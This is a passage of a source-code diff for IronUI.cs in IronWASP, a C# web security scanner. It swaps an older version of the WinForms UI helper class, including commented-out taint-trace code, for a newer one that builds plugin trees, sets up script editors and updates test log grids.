Color.Red; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.Red; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; - // break; - // } - // UI.JSTaintResultGrid.Rows[LineNo].Cells[0].Style.BackColor = Color.DarkBlue; - // UI.JSTaintResultGrid.Rows[LineNo].Cells[0].Style.SelectionBackColor = Color.DarkBlue; - // try - // { - // UI.JSTaintResultGrid.FirstDisplayedScrollingRowIndex = LineNo; - // } - // catch { } - // } - //} - - //delegate void RemoveTaintPauseMarker_d(int LineNo); - //internal static void RemoveTaintPauseMarker(int LineNo) - //{ - // if (UI.JSTaintResultGrid.InvokeRequired) - // { - // RemoveTaintPauseMarker_d RTPM_d = new RemoveTaintPauseMarker_d(RemoveTaintPauseMarker); - // UI.Invoke(RTPM_d, new object[] { LineNo}); - // } - // else - // { - // if (!UI.JSTaintShowCleanCB.Checked) LineNo = UI.JSTaintResultGrid.Rows.Count; - // UI.JSTaintResultGrid.Rows[LineNo - 1].Cells[0].Style.BackColor = Color.White; - // UI.JSTaintResultGrid.Rows[LineNo - 1].Cells[0].Style.SelectionBackColor = Color.White; - // } - //} - - //delegate void ResetTraceStatus_d(); - //internal static void ResetTraceStatus() - //{ - // if (UI.JSTaintContinueBtn.InvokeRequired) - // { - // ResetTraceStatus_d RTS_d = new ResetTraceStatus_d(ResetTraceStatus); - // UI.Invoke(RTS_d, new object[] { }); - // } - // else - // { - // UI.JSTaintTraceControlBtn.Text = "Start Taint Trace"; - // UI.PauseAtTaintCB.Visible = true; - // UI.JSTaintContinueBtn.Visible = false; - // } - //} - - //delegate void ShowTraceStatus_d(string Message, bool Error); - //internal static void ShowTraceStatus(string Message, bool Error) - //{ - // if (UI.JSTaintContinueBtn.InvokeRequired) - // { - // ShowTraceStatus_d STS_d = new ShowTraceStatus_d(ShowTraceStatus); - // UI.Invoke(STS_d, new object[] { Message, Error }); - // } - // else - // { - // UI.JSTaintStatusTB.Text = Message; - // if (Error) - // UI.JSTaintStatusTB.ForeColor = Color.Red; - // else - // UI.JSTaintStatusTB.ForeColor = Color.Black; - // } - //} - - //delegate void ShowTraceContinuteButton_d(); - //internal static void ShowTraceContinuteButton() - //{ - // if (UI.JSTaintContinueBtn.InvokeRequired) - // { - // ShowTraceContinuteButton_d STCB_d = new ShowTraceContinuteButton_d(ShowTraceContinuteButton); - // UI.Invoke(STCB_d, new object[] { }); - // } - // else - // { - // UI.JSTaintContinueBtn.Visible = true; - // } - //} - - //delegate void SetTaintConfig_d(List> Lists, int MaxCount); - //internal static void SetTaintConfig(List> Lists, int MaxCount) - //{ - // if (UI.JSTaintConfigGrid.InvokeRequired) - // { - // SetTaintConfig_d STC_d = new SetTaintConfig_d(SetTaintConfig); - // UI.Invoke(STC_d, new object[] { Lists, MaxCount }); - // } - // else - // { - // UI.JSTaintConfigGrid.Rows.Clear(); - // for (int i = 0; i < MaxCount; i++) - // { - // UI.JSTaintConfigGrid.Rows.Add(new object[] { Lists[0][i], Lists[1][i], Lists[5][i], Lists[6][i], Lists[2][i], Lists[3][i], Lists[4][i] }); - // } - // } - //} - - //delegate void SetTaintHighlighting_d(string HighLightedCode); - //internal static void SetTaintHighlighting(string HighLightedCode) - //{ - // if (UI.JSTaintTraceInRTB.InvokeRequired) - // { - // SetTaintHighlighting_d JSTTIR_d = new SetTaintHighlighting_d(SetTaintHighlighting); - // UI.Invoke(JSTTIR_d, new object[] { HighLightedCode }); - // } - // else - // { - // StringBuilder Rtf = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - // Rtf.Append(Tools.RtfSafe(HighLightedCode)); - // UI.JSTaintTraceInRTB.Rtf = Rtf.ToString(); - // } - //} - - //delegate void SetTaintTraceStatus_d(string Message, bool Error); - //internal static void SetTaintTraceStatus(string Message, bool Error) - //{ - // if (UI.JSTaintStatusTB.InvokeRequired) - // { - // SetTaintTraceStatus_d STTS_d = new SetTaintTraceStatus_d(SetTaintTraceStatus); - // UI.Invoke(STTS_d, new object[] { Message, Error }); - // } - // else - // { - // if (Message.Length == 0) - // { - // UI.JSTaintStatusTB.Visible = false; - // } - // else - // { - // UI.JSTaintStatusTB.Text = Message; - // if (Error) - // UI.JSTaintStatusTB.ForeColor = Color.Red; - // else - // UI.JSTaintStatusTB.ForeColor = Color.Black; - // UI.JSTaintStatusTB.Visible = true; - // } - // } - //} - - //delegate void ShowTaintReasons_d(int LineNo, List SourceReasons, List SinkReasons); - //internal static void ShowTaintReasons(int LineNo, List SourceReasons, List SinkReasons) - //{ - // if (UI.JSTaintReasonsRTB.InvokeRequired) - // { - // ShowTaintReasons_d STR_d = new ShowTaintReasons_d(ShowTaintReasons); - // UI.Invoke(STR_d, new object[] { LineNo, SourceReasons, SinkReasons }); - // } - // else - // { - // StringBuilder Message = new StringBuilder(); - // if (SourceReasons.Count > 0) - // { - // Message.AppendLine("Source Reasons:"); - // } - // foreach (string Reason in SourceReasons) - // { - // Message.AppendLine(Reason); - // } - // Message.AppendLine(""); Message.AppendLine(""); - // if (SinkReasons.Count > 0) - // { - // Message.AppendLine("Sink Reasons:"); - // } - // foreach (string Reason in SinkReasons) - // { - // Message.AppendLine(Reason); - // } - // IronUI.UI.JSTaintReasonsRTB.Text = Message.ToString(); - // } - //} - - delegate void ShowConsoleStatus_d(string Message, bool Error); - internal static void ShowConsoleStatus(string Message, bool Error) - { - if (UI.ConsoleStatusTB.InvokeRequired) - { - ShowConsoleStatus_d SCS_d = new ShowConsoleStatus_d(ShowConsoleStatus); - UI.Invoke(SCS_d, new object[] { Message, Error }); - } - else - { - if (Message.Length == 0) - { - UI.ConsoleStatusTB.Text = ""; - UI.ConsoleStatusTB.Visible = false; - } - else - { - UI.ConsoleStatusTB.Text = Message; - if (Error) - UI.ConsoleStatusTB.ForeColor = Color.Red; - else - UI.ConsoleStatusTB.ForeColor = Color.Black; - UI.ConsoleStatusTB.Visible = true; - } - } - } - - delegate void UpdateConsoleControlsStatus_d(bool ScanActive); - internal static void UpdateConsoleControlsStatus(bool ScanActive) - { - if (UI.ConsoleScanUrlTB.InvokeRequired) - { - UpdateConsoleControlsStatus_d UCCS_d = new UpdateConsoleControlsStatus_d(UpdateConsoleControlsStatus); - UI.Invoke(UCCS_d, new object[] { ScanActive }); - } - else - { - if (ScanActive) - { - UI.ConsoleStartScanBtn.Text = "Stop Scan"; - UI.ConsoleScanUrlTB.ReadOnly = true; - UI.ConsoleScanUrlTB.BackColor = Color.LightGreen; - UI.CrawlerRequestsLbl.Text = "Requests From Crawler: 0"; - UI.ScanJobsCreatedLbl.Text = "ScanJobs Created: 0"; - UI.ScanJobsCompletedLbl.Text = "ScanJobs Completed: 0"; - UI.CrawlerRequestsLbl.Visible = true; - UI.ScanJobsCreatedLbl.Visible = true; - UI.ScanJobsCompletedLbl.Visible = true; - } - else - { - UI.ConsoleStartScanBtn.Text = "Start Scan"; - UI.ConsoleScanUrlTB.ReadOnly = false; - UI.ConsoleScanUrlTB.BackColor = Color.White; - UI.CrawlerRequestsLbl.Visible = false; - UI.ScanJobsCreatedLbl.Visible = false; - UI.ScanJobsCompletedLbl.Visible = false; - UI.ConsoleStartScanBtn.Enabled = true; - ShowConsoleStatus("", false); - } - } - } - - delegate void UpdateConsoleCrawledRequestsCount_d(int Count); - internal static void UpdateConsoleCrawledRequestsCount(int Count) - { - if (UI.ConsoleScanUrlTB.InvokeRequired) - { - UpdateConsoleCrawledRequestsCount_d UCCRC_d = new UpdateConsoleCrawledRequestsCount_d(UpdateConsoleCrawledRequestsCount); - UI.Invoke(UCCRC_d, new object[] { Count }); - } - else - { - UI.CrawlerRequestsLbl.Text = "Requests From Crawler: " + Count.ToString(); - } - } - - delegate void UpdateConsoleScanJobsCreatedCount_d(int Count); - internal static void UpdateConsoleScanJobsCreatedCount(int Count) - { - if (UI.ConsoleScanUrlTB.InvokeRequired) - { - UpdateConsoleScanJobsCreatedCount_d UCSJCC_d = new UpdateConsoleScanJobsCreatedCount_d(UpdateConsoleScanJobsCreatedCount); - UI.Invoke(UCSJCC_d, new object[] { Count }); - } - else - { - UI.ScanJobsCreatedLbl.Text = "ScanJobs Created: " + Count.ToString(); - } - } - - delegate void UpdateConsoleScanJobsCompletedCount_d(int Count); - internal static void UpdateConsoleScanJobsCompletedCount(int Count) - { - if (UI.ConsoleScanUrlTB.InvokeRequired) - { - UpdateConsoleScanJobsCompletedCount_d UCSJCC_d = new UpdateConsoleScanJobsCompletedCount_d(UpdateConsoleScanJobsCompletedCount); - UI.Invoke(UCSJCC_d, new object[] { Count }); - } - else - { - UI.ScanJobsCompletedLbl.Text = "ScanJobs Completed: " + Count.ToString(); - } - } - - delegate void SetUIVisibility_d(bool Visble); - internal static void SetUIVisibility(bool Visble) - { - if (UI.InvokeRequired) - { - SetUIVisibility_d SUIV_d = new SetUIVisibility_d(SetUIVisibility); - UI.Invoke(SUIV_d, new object[] { Visble }); - } - else - { - try { UI.Visible = Visble; } - catch { } - try { AF.Visible = Visble; } - catch { } - try { AUW.Visible = Visble; } - catch { } - try { SBF.Visible = Visble; } - catch { } - try { SSW.Visible = Visble; } - catch { } - try { PE.Visible = Visble; } - catch { } - try { DW.Visible = Visble; } - catch { } - try { EDW.Visible = Visble; } - catch { } - try { CF.Visible = Visble; } - catch { } - } - } - - //delegate void UpdateSessionPluginsInASTab_d(); - //internal static void UpdateSessionPluginsInASTab() - //{ - // if (UI.ConsoleScanUrlTB.InvokeRequired) - // { - // UpdateSessionPluginsInASTab_d USPIAST_d = new UpdateSessionPluginsInASTab_d(UpdateSessionPluginsInASTab); - // UI.Invoke(USPIAST_d, new object[] { }); - // } - // else - // { - // UI.ASSessionPluginsCombo.Items.Clear(); - // UI.ASSessionPluginsCombo.Items.Add(""); - // foreach (string Name in SessionPlugin.List()) - // { - // UI.ASSessionPluginsCombo.Items.Add(Name); - // } - // } - //} - - //internal static void AddStartScanJobWizard(StartScanJobWizard SSW) - //{ - // lock (StartScanJobWizards) - // { - // List ToRemove = new List(); - // for (int i = 0; i < StartScanJobWizards.Count; i++) - // { - // if (StartScanJobWizards[i] == null) - // ToRemove.Add(i); - // else if (StartScanJobWizards[i].IsDisposed) - // ToRemove.Add(i); - // } - // for (int i = 0; i < ToRemove.Count; i++) - // { - // StartScanJobWizards.RemoveAt(ToRemove[i] + i); - // } - // StartScanJobWizards.Add(SSW); - // } - //} - - delegate void ShowHideSessionPluginTraceProgressBar_d(bool Show); - internal static void ShowHideSessionPluginTraceProgressBar(bool Show) - { - if (UI.SessionPluginTraceLoadLogProgressBar.InvokeRequired) - { - ShowHideSessionPluginTraceProgressBar_d SHSPTPB_d = new ShowHideSessionPluginTraceProgressBar_d(ShowHideSessionPluginTraceProgressBar); - UI.Invoke(SHSPTPB_d, new object[] { Show }); - } - else - { - UI.SessionPluginTraceLoadLogProgressBar.Visible = Show; - } - } - - delegate void ShowSessionPluginTraceLog_d(Request Req, Response Res); - internal static void ShowSessionPluginTraceLog(Request Req, Response Res) - { - if (UI.SessionPluginTraceBottomTabs.InvokeRequired) - { - ShowSessionPluginTraceLog_d SSPTL_d = new ShowSessionPluginTraceLog_d(ShowSessionPluginTraceLog); - UI.Invoke(SSPTL_d, new object[] { Req, Res }); - } - else - { - if (Req == null) - { - UI.SessionPluginTraceRequestView.ClearRequest(); - } - else - { - UI.SessionPluginTraceRequestView.SetRequest(Req); - if (Res == null) - { - UI.SessionPluginTraceResponseView.ClearResponse(); - } - else - { - UI.SessionPluginTraceResponseView.SetResponse(Res, Req); - } - } - } - } - - static void TurnOffTopMost() - { - Thread.Sleep(1000); - MakeUiTopMost(false); - } - - delegate void MakeUiTopMost_d(bool TopMost); - internal static void MakeUiTopMost(bool TopMost) - { - if (UI.InvokeRequired) - { - MakeUiTopMost_d MUTM_d = new MakeUiTopMost_d(MakeUiTopMost); - UI.Invoke(MUTM_d, new object[] { TopMost }); - } - else - { - if (TopMost) - { - UI.TopMost = true; - TopMostTime = DateTime.Now; - Thread T = new Thread(TurnOffTopMost); - T.Start(); - } - else - { - if (TopMostTime == null) - { - UI.TopMost = false; - } - else - { - DateTime CurrentTime = DateTime.Now; - if ((CurrentTime.TimeOfDay.TotalSeconds - TopMostTime.TimeOfDay.TotalSeconds) > 1) - { - UI.TopMost = false; - } - } - } - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Collections; +using System.Collections.Specialized; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; +using ICSharpCode.TextEditor; +using ICSharpCode.TextEditor.Document; + +namespace IronWASP +{ + public class IronUI + { + internal static Main UI; + internal static AboutForm AF; + internal static WaitForm WF; + internal static AskUserWindow AUW; + internal static ScanBranchWizard SBF; + internal static StartScanWizard SSW; + internal static LoadForm LF; + internal static LoadInitialConfigurationForm LICF; + internal static PluginEditor PE; + internal static ReportGenerationWizard RGW; + internal static ModUiDesigner UD; + internal static DiffWindow DW; + internal static EncodeDecodeWindow EDW; + internal static ImportForm IF; + internal static CloseForm CF; + + internal static int MainViewSelectedScanTraceId = 0; + + static DateTime TopMostTime; + + //internal static List StartScanJobWizards = new List(); + + internal static bool BlockShell = false; + + internal static void SetUI(Main M) + { + UI = M; + } + + delegate void BuildIronTree_d(); + internal static void BuildIronTree() + { + if (UI.IronTree.InvokeRequired) + { + BuildIronTree_d BIT_d = new BuildIronTree_d(BuildPluginTree); + UI.Invoke(BIT_d, new object[] { }); + } + else + { + UI.IronTree.BeginUpdate(); + TreeNode Node = UI.IronTree.Nodes.Add("Project", "Project"); + TreeNode VulnNode = new TreeNode("Vulnerabilities"); + VulnNode.Name = "Vulnerabilities"; + VulnNode.Nodes.Add("High", "High"); + VulnNode.Nodes[0].ForeColor = Color.Red; + VulnNode.Nodes.Add("Medium", "Medium"); + VulnNode.Nodes[1].ForeColor = Color.Orange; + VulnNode.Nodes.Add("Low", "Low"); + VulnNode.Nodes[2].ForeColor = Color.SteelBlue; + Node.Nodes.Add(VulnNode); + Node.Nodes.Add("TestLeads", "Test Leads"); + Node.Nodes.Add("Information", "Information"); + TreeNode ExceptionNode = new TreeNode("Exceptions"); + ExceptionNode.ForeColor = Color.OrangeRed; + ExceptionNode.Name = "Exceptions"; + Node.Nodes.Add(ExceptionNode); + Node.Nodes.Add("SiteMap", "SiteMap"); + UI.IronTree.EndUpdate(); + UI.IronTree.Nodes[0].ExpandAll(); + } + } + + delegate void BuildPluginTree_d(); + internal static void BuildPluginTree() + { + if (UI.PluginAndModuleTree.InvokeRequired) + { + BuildPluginTree_d BPT_d = new BuildPluginTree_d(BuildPluginTree); + UI.Invoke(BPT_d, new object[] { }); + } + else + { + UI.PluginAndModuleTree.BeginUpdate(); + UI.PluginAndModuleTree.Nodes.Clear(); + TreeNode RootNode = UI.PluginAndModuleTree.Nodes.Add("PluginsAndModules", "Plugins & Modules"); + TreeNode PluginsNode = RootNode.Nodes.Add("Plugins", "Plugins"); + TreeNode ModulesNode = RootNode.Nodes.Add("Modules", "Modules"); + + TreeNode Node = PluginsNode.Nodes.Add("ActivePlugins", "Active Plugins"); + Node.Checked = true; + + foreach (string Name in ActivePlugin.List()) + { + TreeNode SubNode = Node.Nodes.Add(Name, Name); + SubNode.Checked = true; + SubNode.ForeColor = Color.Green; + } + + Node = PluginsNode.Nodes.Add("PassivePlugins", "Passive Plugins"); + Node.Checked = true; + foreach (string Name in PassivePlugin.List()) + { + TreeNode SubNode = Node.Nodes.Add(Name, Name); + SubNode.Checked = true; + SubNode.ForeColor = Color.Green; + } + foreach (string Name in PassivePlugin.GetDeactivated()) + { + TreeNode SubNode = Node.Nodes.Add(Name, Name + " (Deactivated)"); + SubNode.Checked = true; + SubNode.ForeColor = Color.Gray; + } + + + + Node = PluginsNode.Nodes.Add("FormatPlugins", "Format Plugins"); + Node.Checked = true; + + foreach (string Name in FormatPlugin.List()) + { + TreeNode SubNode = Node.Nodes.Add(Name, Name); + SubNode.Checked = true; + SubNode.ForeColor = Color.Green; + } + + Node = PluginsNode.Nodes.Add("SessionPlugins", "Session Plugins"); + Node.Checked = true; + + foreach (string Name in SessionPlugin.List()) + { + TreeNode SubNode = Node.Nodes.Add(Name, Name); + SubNode.Checked = true; + SubNode.ForeColor = Color.Green; + } + + Node = ModulesNode.Nodes.Add("LoadedModules", "Loaded Modules"); + Node.Checked = true; + foreach (string Name in Module.List()) + { + TreeNode SubNode = Node.Nodes.Add(Name, Name); + SubNode.Checked = true; + SubNode.ForeColor = Color.Green; + } + + Node = ModulesNode.Nodes.Add("AllModules", "All Modules"); + Node.Checked = true; + + foreach (Module M in Module.ModuleListFromXml) + { + TreeNode SubNode = Node.Nodes.Add(M.Name, M.Name); + SubNode.Checked = true; + SubNode.ForeColor = Color.Gray; + } + + UI.PluginAndModuleTree.EndUpdate(); + UI.PluginAndModuleTree.ExpandAll(); + } + } + + internal static void InitialiseAllScriptEditors() + { + //Multi-line shell + UI.MultiLineShellInTE.ShowTabs = false; + UI.MultiLineShellInTE.ShowEOLMarkers = false; + UI.MultiLineShellInTE.ShowSpaces = false; + UI.MultiLineShellInTE.ShowInvalidLines = false; + UI.MultiLineShellInTE.TabIndent = 2; + + //ScriptedSend + UI.CustomSendTE.ShowTabs = false; + UI.CustomSendTE.ShowEOLMarkers = false; + UI.CustomSendTE.ShowSpaces = false; + UI.CustomSendTE.ShowInvalidLines = false; + UI.CustomSendTE.ShowLineNumbers = false; + UI.CustomSendTE.TabIndent = 2; + UI.CustomSendTopRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ScriptedSend \b0 \cf0 (req):"; + UI.CustomSendBottomRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 res"; + UI.CustomSendTE.ActiveTextAreaControl.TextArea.KeyUp += new System.Windows.Forms.KeyEventHandler(UI.CustomSendTE_KeyUp); + + //ScriptedInterception + UI.ScriptedInterceptionScriptTopRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ShouldIntercept \b0 \cf0 (sess):"; + UI.ScriptedInterceptionScriptBottomRTB.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 False"; + + //Plugin Viewer + UI.PluginEditorInTE.ShowTabs = false; + UI.PluginEditorInTE.ShowEOLMarkers = false; + UI.PluginEditorInTE.ShowSpaces = false; + UI.PluginEditorInTE.ShowInvalidLines = false; + UI.PluginEditorInTE.TabIndent = 2; + + HighlightingManager.Manager.AddSyntaxModeFileProvider(new EditorSyntaxModesProvider()); + Directory.SetCurrentDirectory(Config.RootDir); + + UI.MultiLineShellInTE.SetHighlighting("Python"); + + UI.CustomSendTE.SetHighlighting("Python"); + + UI.PluginEditorInTE.SetHighlighting("Python"); + } + + delegate void UpdateAllFormatPluginRows_d(); + internal static void UpdateAllFormatPluginRows() + { + if (UI.InvokeRequired) + { + UpdateAllFormatPluginRows_d UAFPR_d = new UpdateAllFormatPluginRows_d(UpdateAllFormatPluginRows); + UI.Invoke(UAFPR_d, new object[] { }); + } + else + { + //UI.MTRequestFormatPluginsGrid.Rows.Clear(); + //UI.ProxyRequestFormatPluginsGrid.Rows.Clear(); + //UI.ProxyResponseFormatPluginsGrid.Rows.Clear(); + UI.ConfigureScanRequestFormatPluginsGrid.Rows.Clear(); + //UI.ConfigureScanRequestFormatPluginsGrid.Rows.Add(new object[] { false, "None" }); + foreach (string Name in FormatPlugin.List()) + { + //UI.MTRequestFormatPluginsGrid.Rows.Add(new object[] { Name }); + //UI.ProxyRequestFormatPluginsGrid.Rows.Add(new object[] { Name }); + //UI.ProxyResponseFormatPluginsGrid.Rows.Add(new object[] { Name }); + UI.ConfigureScanRequestFormatPluginsGrid.Rows.Add(new object[] { false, Name }); + } + } + } + + delegate void UpdateAllActivePluginRows_d(); + internal static void UpdateAllActivePluginRows() + { + if (UI.ASScanPluginsGrid.InvokeRequired) + { + UpdateAllActivePluginRows_d UAAPR_d = new UpdateAllActivePluginRows_d(UpdateAllActivePluginRows); + UI.Invoke(UAAPR_d, new object[] { }); + } + else + { + UI.ASScanPluginsGrid.Rows.Clear(); + UI.ASScanPluginsGrid.Rows.Add(new object[] { false, "All" }); + foreach (string Name in ActivePlugin.List()) + { + UI.ASScanPluginsGrid.Rows.Add(new object[] { false, Name }); + } + } + } + + delegate void UpdateMTLogGridWithRequest_d(Request Req); + internal static void UpdateMTLogGridWithRequest(Request Req) + { + if (UI.TestLogGrid.InvokeRequired) + { + UpdateMTLogGridWithRequest_d UMTLGWR_d = new UpdateMTLogGridWithRequest_d(UpdateMTLogGridWithRequest); + UI.Invoke(UMTLGWR_d, new object[] { Req }); + } + else + { + if (UI.TestLogGrid.Rows.Count > IronLog.MaxRowCount) return; + try + { + int GridID = UI.TestLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.File, Req.SSL, Req.GetParametersString() }); + IronUpdater.MTGridMap.Add(Req.ID, GridID); + if (Req.ID > IronLog.TestMax) IronLog.TestMax = Req.ID; + if (Req.ID < IronLog.TestMin || IronLog.TestMin < 1) IronLog.TestMin = Req.ID; + } + catch(Exception Exp) + { + IronException.Report("Error Updating MT Grid with Request", Exp.Message, Exp.StackTrace); + } + ShowCurrentLogStat(); + } + } + + delegate void UpdateMTLogGridWithResponse_d(Response Res); + internal static void UpdateMTLogGridWithResponse(Response Res) + { + if (UI.TestLogGrid.InvokeRequired) + { + UpdateMTLogGridWithResponse_d UMTLGWR_d = new UpdateMTLogGridWithResponse_d(UpdateMTLogGridWithResponse); + UI.Invoke(UMTLGWR_d, new object[] { Res }); + } + else + { + if (IronUpdater.MTGridMap.ContainsKey(Res.ID)) + { + try + { + bool MatchFound = true; + int GridID = IronUpdater.MTGridMap[Res.ID]; + if (!((int)UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForID"].Value == Res.ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.TestLogGrid.Rows) + { + if ((int)Row.Cells["MTLogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForCode"].Value = Res.Code; + UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForLength"].Value = Res.BodyArray.Length; + UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForMIME"].Value = Res.ContentType; + UI.TestLogGrid.Rows[GridID].Cells["MTLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + } + IronUpdater.MTGridMap.Remove(Res.ID); + } + catch (Exception Exp) + { + IronException.Report("Error updating MT Response in Grid", Exp.Message, Exp.StackTrace); + } + } + } + } + + delegate void UpdateTestGroupLogGridWithRequest_d(Session IrSe); + internal static void UpdateTestGroupLogGridWithRequest(Session IrSe) + { + if (UI.TestGroupLogGrid.InvokeRequired) + { + UpdateTestGroupLogGridWithRequest_d UTGLGWR_d = new UpdateTestGroupLogGridWithRequest_d(UpdateTestGroupLogGridWithRequest); + UI.Invoke(UTGLGWR_d, new object[] { IrSe }); + } + else + { + if (!ManualTesting.CurrentGroup.Equals(IrSe.Flags["Group"].ToString())) return; + try + { + UI.TestGroupLogGrid.Rows.Add(new object[] {false, IrSe.Request.ID, IrSe.Request.Host, IrSe.Request.Method, IrSe.Request.URL, IrSe.Request.SSL }); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Test Grid with Request", Exp.Message, Exp.StackTrace); + } + } + } + + delegate void UpdateTestGroupLogGridWithResponse_d(Session IrSe); + internal static void UpdateTestGroupLogGridWithResponse(Session IrSe) + { + if (UI.TestGroupLogGrid.InvokeRequired) + { + UpdateTestGroupLogGridWithResponse_d UTGLGWR_d = new UpdateTestGroupLogGridWithResponse_d(UpdateTestGroupLogGridWithResponse); + UI.Invoke(UTGLGWR_d, new object[] { IrSe }); + } + else + { + try + { + if (!ManualTesting.CurrentGroup.Equals(IrSe.Flags["Group"].ToString())) return; + + int GridID = 0; + foreach (DataGridViewRow Row in UI.TestGroupLogGrid.Rows) + { + if ((int)Row.Cells["TestGroupLogGridForID"].Value == IrSe.Request.ID) + { + GridID = Row.Index; + break; + } + } + UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForCode"].Value = IrSe.Response.Code; + UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForLength"].Value = IrSe.Response.BodyArray.Length; + UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForMIME"].Value = IrSe.Response.ContentType; + UI.TestGroupLogGrid.Rows[GridID].Cells["TestGroupLogGridForSetCookie"].Value = (IrSe.Response.SetCookies.Count > 0); + if(IrSe.Flags.ContainsKey("Reflecton")) + UpdateManualTestingResponse(IrSe.Response, IrSe.Request, IrSe.Flags["Reflecton"].ToString()); + else + UpdateManualTestingResponse(IrSe.Response, IrSe.Request, ""); + + } + catch (Exception Exp) + { + IronException.Report("Error updating MT Response in Grid", Exp.Message, Exp.StackTrace); + } + } + } + + + delegate void UpdateTestGroupLogGrid_d(Dictionary GroupList); + internal static void UpdateTestGroupLogGrid(Dictionary GroupList) + { + if (UI.TestGroupLogGrid.InvokeRequired) + { + UpdateTestGroupLogGrid_d UTGLG_d = new UpdateTestGroupLogGrid_d(UpdateTestGroupLogGrid); + UI.Invoke(UTGLG_d, new object[] { GroupList }); + } + else + { + UI.TestGroupLogGrid.Rows.Clear(); + foreach (int ID in GroupList.Keys) + { + Session Irse = GroupList[ID]; + if (Irse.Request == null) continue; + if(Irse.Response == null) + UI.TestGroupLogGrid.Rows.Add(new object[] {false, Irse.Request.ID, Irse.Request.Host, Irse.Request.Method, Irse.Request.Url, Irse.Request.SSL}); + else + UI.TestGroupLogGrid.Rows.Add(new object[] {false, Irse.Request.ID, Irse.Request.Host, Irse.Request.Method, Irse.Request.Url, Irse.Request.SSL, Irse.Response.Code, Irse.Response.BodyLength, Irse.Response.ContentType, (Irse.Response.SetCookies.Count > 0) }); + } + } + } + + delegate void ClearTestGroupLogGrid_d(); + internal static void ClearTestGroupLogGrid() + { + if (UI.TestGroupLogGrid.InvokeRequired) + { + ClearTestGroupLogGrid_d CTGLG_d = new ClearTestGroupLogGrid_d(ClearTestGroupLogGrid); + UI.Invoke(CTGLG_d, new object[] { }); + } + else + { + UI.TestGroupLogGrid.Rows.Clear(); + } + } + + delegate void SetNewTestRequest_d(Request Req, string Group, bool SwitchToMTSection); + internal static void SetNewTestRequest(Request Req, string Group, bool SwitchToMTSection) + { + if (UI.TestGroupLogGrid.InvokeRequired) + { + SetNewTestRequest_d SNTR_d = new SetNewTestRequest_d(SetNewTestRequest); + UI.Invoke(SNTR_d, new object[] { Req, Group, SwitchToMTSection }); + } + else + { + ResetMTDisplayFields(); + //UI.TestResponseSplit.SplitterDistance = 30; + //switch (Group) + //{ + // case ("Red"): + // UI.TestIDLbl.BackColor = Color.Red; + // break; + // case ("Blue"): + // UI.TestIDLbl.BackColor = Color.RoyalBlue; + // break; + // case ("Green"): + // UI.TestIDLbl.BackColor = Color.Green; + // break; + // case ("Gray"): + // UI.TestIDLbl.BackColor = Color.Gray; + // break; + // case ("Brown"): + // UI.TestIDLbl.BackColor = Color.Brown; + // break; + //} + UI.TestGroupsLV.Items.Add(Group, Group, 0); + UI.TestGroupsLV.Items[Group].Selected = true; + UI.TestIDLbl.Text = "ID: " + Req.ID.ToString(); + UI.MTCurrentGroupNameTB.Text = Group; + FillMTFields(Req); + try + { + UI.TestGroupLogGrid.Rows.Clear(); + UI.TestGroupLogGrid.Rows.Add(new object[] { false, Req.ID, Req.Host, Req.Method, Req.URL, Req.SSL }); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Test Grid with Request", Exp.Message, Exp.StackTrace); + } + if(SwitchToMTSection) + UI.main_tab.SelectTab("mt_manual"); + //UI.MTReqResTabs.SelectTab("MTRequestTab"); + UI.MTResponseSideTabs.SelectTab("MTResponseTab"); + if (!UI.TestGroupsTitleTB.Visible) UI.TestGroupsTitleTB.Visible = true; + if (!UI.TestGroupsLV.Visible) UI.TestGroupsLV.Visible = true; + } + } + + delegate void UpdateShellLogGrid_d(List Requests, List Responses); + internal static void UpdateShellLogGrid(List Requests, List Responses) + { + if (UI.ShellLogGrid.InvokeRequired) + { + UpdateShellLogGrid_d USLG_d = new UpdateShellLogGrid_d(UpdateShellLogGrid); + UI.Invoke(USLG_d, new object[] { Requests, Responses}); + } + else + { + foreach (Request Req in Requests) + { + if (UI.ShellLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + int GridID = 